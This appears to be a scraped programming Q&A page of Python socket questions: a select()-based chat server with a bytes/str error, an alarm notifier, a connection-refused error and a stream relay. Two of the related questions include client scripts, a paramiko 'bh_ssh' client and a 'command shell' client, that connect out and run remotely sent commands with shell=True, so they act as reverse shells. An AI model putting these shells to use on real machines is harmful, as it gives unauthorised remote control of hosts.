When I run the server, then the client, I Automatically get these messages:
**SERVER: **
Traceback (most recent call last):
File "C:\Users\Ryan\Desktop\testproj-server.py", line 142, in
handleConnectedSocket()
File "C:\Users\Ryan\Desktop\testproj-server.py", line 58, in handleConnectedSocket
rcvdStr = rcvdStr + fd.recv(1024)
TypeError: can only concatenate str (not "bytes") to str
**CLIENT: **
ERROR: Cannot connect to chat server [WinError 10056] A connect request was made on an already connected socket
Exiting... Goodbye! *
This is my code:
SERVER CODE:
import socket
import select
def runSelect():
selectUnsuccessful = True
while selectUnsuccessful:
try:
readyRecvList, readySendList, readyErrList = select.select(recvList, sendList, [])
selectUnsuccessful = False
except select.error:
for fd in recvList:
try:
tempRecvList, tempSendList, tempErrList = select.select([fd], [], [], 0)
except select.error:
if fd == serverSocket:
fd.close()
exit(1)
else:
if fd in recvList:
recvList.remove(fd)
fd.close()
return readyRecvList, readySendList
def handleListeningSocket():
try:
newConnectionSocket, addr = serverSocket.accept()
except socket.error as err:
print("\nERROR: Something went wrong in the accept() function call:", err)
exit(1)
try:
recvList.append(newConnectionSocket)
sendList.append(newConnectionSocket)
print("INFO: Connecting socket created between %s and %s" %
(newConnectionSocket.getsockname(), newConnectionSocket.getpeername()))
print("* Client %s is ready to chat *" % (str(newConnectionSocket.getpeername())))
except (socket.error, socket.gaierror) as err:
print("\nERROR: Something went wrong with the new connection socket:", err)
if newConnectionSocket in recvList:
recvList.remove(newConnectionSocket)
sendList.remove(newConnectionSocket)
newConnectionSocket.close()
def handleConnectedSocket():
try:
recvIsComplete = False
rcvdStr = ""
while not recvIsComplete:
rcvdStr = rcvdStr + fd.recv(1024)
if fd not in sendList:
sendList.append(fd)
# ~ is the delimiter used to indicate message start and finish
if rcvdStr.strip('~') != "":
if (rcvdStr[0] == "~") and (rcvdStr[-1] == "~"):
recvIsComplete = True
clientMessage = rcvdStr.strip('~')
else: # if empty string, connection has been terminated
if fd in recvList:
recvList.remove(fd)
if fd in sendList:
sendList.remove(fd)
del clientMessages[fd] # Delete connection information
fd.close()
if clientMessage == "quit()":
print ("\n* Client %s has left the chat room *\n" % (str(fd.getpeername())))
if fd in recvList:
recvList.remove(fd)
fd.close()
if fd in sendList:
sendList.remove(fd)
fd.close()
else:
print("\n%s: %s" % (fd.getpeername(), clientMessage))
# add message to dictionary, pending transmission
clientMessages[fd] = str(clientMessage)
except socket.error as err:
print("\nERROR: Connection to the client has abruptly ended:", err)
if fd in recvList:
recvList.remove(fd)
if fd in sendList:
sendList.remove(fd)
fd.close()
print("* I am ready to chat with a new client! *\n")
"""
main - Runs the Full Duplex Chat server
"""
# Global Variables
serverHost = 'localhost'
serverPort = 22222
recvList = []
sendList = []
clientMessages = {}
try:
serverSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serverSocket.setblocking(0)
serverSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serverSocket.bind((serverHost, serverPort))
serverSocket.listen(3)
print ("INFO: I am listening at %s" % (str(serverSocket.getsockname())))
print ("* I am ready to chat with a new client! *\n")
except (socket.error, socket.gaierror) as err:
print ("\nERROR: Something went wrong in creating the listening socket:", err)
exit(1)
recvList = [serverSocket]
try:
while True:
serverSocket.setblocking(False)
readyForRecv, readyForSend = runSelect()
for fd in readyForRecv:
if fd == serverSocket:
handleListeningSocket()
else:
handleConnectedSocket()
for fd in readyForSend:
try:
if fd in clientMessages.keys(): # See if connection information exists
broadcast = str(clientMessages[fd]) # Add message to broadcast variable
if broadcast: # See if a message is actually there
for client in readyForSend: # Broadcast message to every connected client
if broadcast != "":
print ("* Broadcasting message \"%s\" to %s *" % (str(broadcast), client.getpeername()))
client.send(str(fd.getpeername()) + ": " + str(broadcast))
clientMessages[fd] = "" # Empty pending messages
#except:
# print "\nERROR: Something awful happened while broadcasting messages"
#break
except socket.error as err:
print ("\nERROR: Something awful happened with a connected socket:", err)
if fd in recvList:
recvList.remove(fd)
if fd in sendList:
sendList.remove(fd)
fd.close()
except KeyboardInterrupt:
for fd in recvList:
fd.close()
for fd in sendList:
fd.close()
print ("\nINFO: KeyboardInterrupt")
print ("* Closing all sockets and exiting... Goodbye! *")
exit(0)
CLIENT CODE:
import socket
import select
import sys
def main():
serverHost = 'localhost'
serverPort = 22222
try:
clientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error as err:
print("ERROR: Cannot create client side socket:", err)
exit(1)
while True:
try:
clientSocket.connect((serverHost, serverPort))
except socket.error as err:
print("ERROR: Cannot connect to chat server", err)
print("* Exiting... Goodbye! *")
exit(1)
except:
print("ERROR: Something awful happened!")
exit(1)
break
recvList = [clientSocket, sys.stdin]
print("* You are now connected to chat server %s as %s *" %
(clientSocket.getpeername(), clientSocket.getsockname()))
try:
while True:
readyRecvList, readySendList, readyErrList = select.select(recvList, [], [])
for fd in readyRecvList:
if fd == sys.stdin:
message = sys.stdin.readline().rstrip()
clientSocket.sendall("~" + str(message) + "~")
if (message == "quit()"):
print("* Exiting chat room! *")
clientSocket.close()
exit(0)
break
elif fd == clientSocket:
clientSocket.settimeout(3)
try:
message = clientSocket.recv(2048)
except socket.timeout as err:
print("ERROR: The recv() function timed out after 3 seconds! Try again.")
except:
print("ERROR: Something awful happened!")
else:
if message == "":
break
else:
print("%s\n" % (message))
clientSocket.settimeout(None)
break
except select.error as err:
for fd in recvList:
try:
tempRecvList, tempSendList, tempErrList = select.select([fd], [], [], 0)
except select.error:
if fd == clientSocket:
fd.close()
exit(1)
else:
if fd in recvList:
recvList.remove(fd)
fd.close()
except socket.error as err:
print("ERROR: Cannot connect to chat server", err)
print("* Exiting... Goodbye! *")
exit(1)
if fd in recvList:
fd.close()
except KeyboardInterrupt:
print("\nINFO: KeyboardInterrupt")
print("* Closing all sockets and exiting chat server... Goodbye! *")
clientSocket.close()
exit(0)
if __name__ == '__main__':
main()
You didn't decode the received bytes
rcvdStr = rcvdStr + fd.recv(1024).decode()
I haven't exactly checked, so tell me if this helps
EDIT:
Ok so for starters remove the while statement in line 17 of the client, once the client is connected to the server you can't connect again (make sure you remove the break in the new line 26)
The new line 34 is causinf errors (readyRecvList, readySendList, readyErrList = select.select(recvList, [], []))
Traceback (most recent call last):
File "C:\Users\User\Desktop\Client.py", line 93, in <module>
main()
File "C:\Users\User\Desktop\Client.py", line 34, in main
readyRecvList, readySendList, readyErrList = select.select(recvList, [], [])
io.UnsupportedOperation: fileno
Related
I'm not sure if this is allowed, but I would like to have the client send a notification, receive a response and then finally send back a final validation message. The first send and receive seems to work fine, but the final .sendall() doesn't seem to send to the server.
Client:
import threading
import time
import socket
import sys
alarm_on = False # Flag to stop the thread
# The thread function
def beep():
while alarm_on:
print("BEEP BEEP BEEP")
time.sleep(20)
try:
mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
print("Failed to create Movement Socket")
mysock.connect(('1.1.1.1',1234))
try:
mysock.sendall(b'MOVEMENT')
except socket.error:
print("Failed to send")
sys.exit()
#Recieve command to turn ignore, turn on alarm, or turn off alarm
try:
command = mysock.recv(10000)
print(command)
except socket.error:
print("Error receiving data")
sys.exit()
print("Command is: " + str(command))
#Turn on command
if command == b'ON':
state = command
alarm_on = True
# Start the thread
thrd1 = threading.Thread(target=beep).start()
mysock.sendall(state) # ********Final Validation to server of state
#Ignore the movement for 30 min
elif command == b'NO':
state = b'Silent for 15 min'
print(state)
mysock.sendall(state) # ********Final Validation to server of state
time.sleep(900)
Server
import socket
import sys
try:
mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
print("Failed to create socket")
sys.exit
try:
mysock.bind(("",1234))
except:
print("Failed to bind")
mysock.listen(5)
while True:
validation = False
conn,addr = mysock.accept()
data = conn.recv(1000)
print("Data recieved: " + str(data))
if data == b'MOVEMENT':
while not validation:
command = input("Movement detected, type ON enable Alarm or NO to ignore: ")
command = command.upper()
if command == "ON" :
message = command
validation = True
elif command == "NO":
message = command
validation = True
else:
print("Data is: " + str(data) + "is not a valid input")
sys.exit()
try:
conn.sendall(bytes(message.encode()))
except:
print("Failed to send")
sys.exit()
conn.close()
mysock.close()
Can you do a final send after an initial send and receive? If so, why isn't my last sendall working?
In order to receive the second message, a second .recv() needs to be established to catch the "validation message". I added the following line to the server code:
validation = conn.recv(1000)
print(validation)
The full server code:
import socket
import sys
try:
mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
print("Failed to create socket")
sys.exit
try:
mysock.bind(("",1234))
except:
print("Failed to bind")
mysock.listen(5)
while True:
validation = False
conn,addr = mysock.accept()
data = conn.recv(1000)
print("Data recieved: " + str(data))
if data == b'MOVEMENT':
while not validation:
command = input("Movement detected, type ON enable Alarm or NO to ignore: ")
command = command.upper()
if command == "ON" :
message = command
validation = True
elif command == "NO":
message = command
validation = True
else:
print("Data is: " + str(data) + "is not a valid input")
sys.exit()
try:
conn.sendall(bytes(message.encode()))
except:
print("Failed to send")
sys.exit()
validation = conn.recv(1000)
print(validation)
conn.close()
mysock.close()
I have a server:
import threading
import paramiko
import subprocess
import sys
import socket
host_key = paramiko.RSAKey(filename='test_rsa.key')
class Server(paramiko.ServerInterface):
def _init_(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if(username=='justin') and (password == 'lovesthepython'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
print '[+] Listening for connection ...'
client, addr = sock.accept()
except Exception, e:
print '[-] Listen failed: ' + str(e)
sys.exit(1)
print '[+] Got a connection!'
try:
bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key)
server = Server()
try:
bhSession.start_server(server=server)
except paramiko.SSHException, x:
print '[-] SSH Negotiation Failed'
chan = bhSession.accept(20)
print '[+] Authenticated!'
print chan.recv(1024)
chan.send('Welcome to bh_ssh')
while True:
try:
command= raw_input("Enter command: ").strip('\n')
if command != 'exit':
chan.send(command)
print chan.recv(1024) + '\n'
else:
chan.send('exit')
print 'exiting'
bhSession.close()
raise Exception ('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception, e:
print '[-] Caught exception: ' + str(e)
try:
bhSession.close()
except:
pass
sys.exit(1)
My code to connect to this is:
import threading
import paramiko
import subprocess
def ssh_command(ip, port, user, passwd, command):
client = paramiko.SSHClient()
#client.load_host_keys('/home/justin/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, port, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.send(command)
print ssh_session.recv(1024)
while True:
command = ssh_session.recv(1024)
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception,e:
ssh_session.send(str(e))
client.close()
return
ssh_command('IP_ADDRESS_HERE',PORT_HERE,'justin','lovesthepython','id')
When I try to use these on separate PCs and use public IP addresses it won't connect. The server I bind to 0.0.0.0 and then use the public IP address of the server's computer to the client code. I imagine I am doing something fairly obvious wrong. If anyone can help, it would be very much appreciated.
Client The code has been written in Python.
Client
import socket
host = '192.168.0.118'
#host = ''
port = 5560
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
while True:
command = input("Enter your command")
if command == 'EXIT':
s.send(str.ecode(command))
break
elif command == 'KILL':
s.send(str.encode(command))
break
s.send(str.encode(command))
reply = s.recv(1024)
print(reply.decode('utf-8'))
s.close()
Server
import socket
host = ''
port = 5560
storedValue = "You man I done"
def setupServer():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print("yes Created")
try:
s.bind((host,port))
except socket.error as msg:
print(msg)
print("socket bind complet")
return s
def setupConnection():
s.listen(1)
conn,address = s.accept()
print("done connection: " + address[0] + ":" + str(adress[1]))
return conn
def GET():
reply = storedValue
return reply
def REPEAT (dataMessage):
reply = dataMessage[1]
return reply
def dataTransfer(conn):
while True:
data = conn.recv(1024)
data = data.decode('utf-8')
dataMessage = data.split(' ', 1)
command = dataMessage[0]
if command == 'GET':
reply = GET()
elif command == 'Repeat':
reply = REPEAT(dataMessage)
elif command == 'EXIT':
print("our client has left us")
break
elif command == 'KILL':
print("Shut down")
s.close()
break
else:
reply = 'Unknown Command'
conn.sendall(str.encode(reply))
print("Data has been sent")
conn.close()#
s = setupServer()
while True:
try:
conn = setupConnection()
dataTransfer(conn)
except:
break
Error I got this
Traceback (most recent call last):
File "cookieClient.py", line 8, in <module>
s.connect((host,port))
File "/usr/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 111] Connection refused
Server Code:
#!/usr/bin/python
import socket
import threading
import sys
import os
import time
bind_ip = raw_input("\nset lhost : ")
print "lhost set %s" % bind_ip
bind_port =int(raw_input("\nset lport : "))
print "lport set %s" % bind_port
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, bind_port))
server.listen(5)
time.sleep(0.8)
print "\n[*]Listening on %s:%d" % (bind_ip, bind_port)
client, addr = server.accept()
time.sleep(0.8)
print "[*] Binding connection on %s:%d" % (bind_ip, bind_port)
time.sleep(0.8)
print "[*] Accepted connection from %s:%d" % (bind_ip, bind_port)
time.sleep(0.5)
print "[*] Spwaning command shell"
time.sleep(0.5)
print "[*] Spwaned!!"
while True:
try:
print "\ncommand$control:~$"
# take commands
# command = raw_input("\ncommand$control:~ ")
command = sys.stdin.readline()
# if command == exit then exit
if command == "exit\n":
print "[!] Exiting..!"
client.send(command)
client.close()
os._exit(1)
else: # send 1st command
client.send(command)
recvd = None
# if recvd == # break loop and ask next command
while recvd != "#":
recvd = None
recvd = client.recv(4096)
if recvd == "#":
break
elif len(recvd):
recvd = recvd.replace('\r', '').replace('\n', '')
#recvd = recvd.rstrip('\t')
print recvd
except Exception, e:
print "Error: %s" % str(e)
os._exit(1)
Client Code:
#!/usr/bin/python
import socket
import threading
import subprocess
import sys
import os
target_host = raw_input("set target host: ")
target_port = int(raw_input("set target port: "))
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_host, target_port))
def run_command(command):
output = ''
command = command.rstrip()
output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, s**strong text**tderr=subprocess.STDOUT)
for line in iter(output.stdout.readline, ''):
line = line.replace('\n', '').replace('\r', '').replace('\t', '')
print line
client.send(line)
sys.stdout.flush()
while True:
try:
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer+=client.recv(1024)
if cmd_buffer == "exit\n":
client.close()
os._exit()
run_command(cmd_buffer)
# After run_command for loop ends, # is send to break
# from the server's while loop
client.send("#")
except Exception:
client.close()
os._exit(0)
The code works,the client sends '#' to server to indicate that is has finished sending realtime command output, so the server on receiving '#' breaks from the loop,and ask for next command. But after entering 2/3 commands the # is printed on servers stdout which should'nt and it doesn't break from loop. Also the output from client isn't received as i have formatted it using replace(). Please help.it will be appreciated.
After long hours of research and testing I finally ask here.
My script has to handle multiple client connections and in the same time has to get and send a stream from another socket.
Finally I've been able to make it work but only for one user. That user connects to the socket, the script connects to the other socket, then return the stream to the client.
The script works pretty well but has a some hard limitations :
- it send the stream to the client but,
- even if the socket is in non-blocking mode I think that calling a socket inside another one is the main reason why it reacts like it was in blocking mode (because one ot these is continuously sending datas ?)
By the way I think that the select() method could allow me to do what I want, but I don't clearly understand how.
Here is the server code taht works for one client, but is blocking
#!/usr/bin/env python
# coding: utf-8
from __future__ import print_function
import sys, time, base64, socket
server_ip = 'XX.XX.XX.XX'
def caster_connect(connected_client, address):
username = 'XXXXXXX'
password = 'XXXXXXXXX'
host = 'XX.XX.XX.XX'
port = 2102
pwd = base64.b64encode("{}:{}".format(username, password).encode('ascii'))
pwd = pwd.decode('ascii')
u_message = ''
stream_type = 'CMRp'
header = \
"GET /" + str(stream_type) + " HTTP/1.1\r\n" +\
"Host " + str(host) + "\r\n" +\
"Ntrip-Version: Ntrip/1.0\r\n" +\
"User-Agent: my_script.py/0.1\r\n" +\
"Accept: */*\r\n" +\
"Authorization: Basic {}\r\n\r\n".format(pwd) +\
"Connection: close\r\n"
print("Connecting to caster...\n")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,int(port)))
s.send(header.encode('ascii'))
print("Waiting answer from caster...\n")
while True:
try:
data = s.recv(2048)
connected_client.send(data)
print("Sending data from caster at %s" % time.time())
sys.stdout.flush()
# On any error, close sockets
except socket.error, e:
print("No data received from caster : %s" % e)
print("Close client connection at %s" % format(address))
s.close()
break
return
#----------------
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server_ip, 5680))
sock.settimeout(3)
try:
while True:
try:
sock.listen(5)
client, address = sock.accept()
print ("%s connected" % format(address) )
msg = client.recv(4096)
except socket.timeout, e:
err = e.args[0]
if err == 'timed out':
print("Timed out, retry later")
continue
else:
print(socket.error)
sock.close()
except socket.error:
print(socket.error)
sock.close()
else:
if len(msg) == 0:
print("Shutdown on client end")
sock.close()
else:
print(msg)
caster_response = caster_connect(client, address)
sys.stdout.flush()
print("Close")
client.close()
sock.close()`enter code here`
except KeyboardInterrupt:
print("W: Keyboard interrupt, closing socket")
finally:
sock.close()
And this is the code I found to handle select()
#!/usr/bin/env python
# coding: utf-8
import select, socket, sys, Queue
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setblocking(0)
server.bind(('XX.XX.XX.XX', 64000))
server.listen(5)
inputs = [server]
outputs = []
message_queues = {}
while inputs:
readable, writable, exceptional = select.select(
inputs, outputs, inputs)
for s in readable:
if s is server:
connection, client_address = s.accept()
print("New connection from %s" % client_address)
connection.setblocking(0)
inputs.append(connection)
message_queues[connection] = Queue.Queue()
else:
data = s.recv(1024)
print("Data received : %s" % data)
if data:
message_queues[s].put(data)
if s not in outputs:
outputs.append(s)
else:
if s in outputs:
outputs.remove(s)
inputs.remove(s)
s.close()
del message_queues[s]
for s in writable:
try:
next_msg = message_queues[s].get_nowait()
print("Next msg : %s" % next_msg)
except Queue.Empty:
outputs.remove(s)
else:
s.send(next_msg)
for s in exceptional:
inputs.remove(s)
if s in outputs:
outputs.remove(s)
s.close()
del message_queues[s]
In this code (found at this page) I didn't make changes as I don't know how to handle this.
Maybe by creating another server script that would only handle the stream part, so the main script would act as a server for clients, but as client for the stream part ?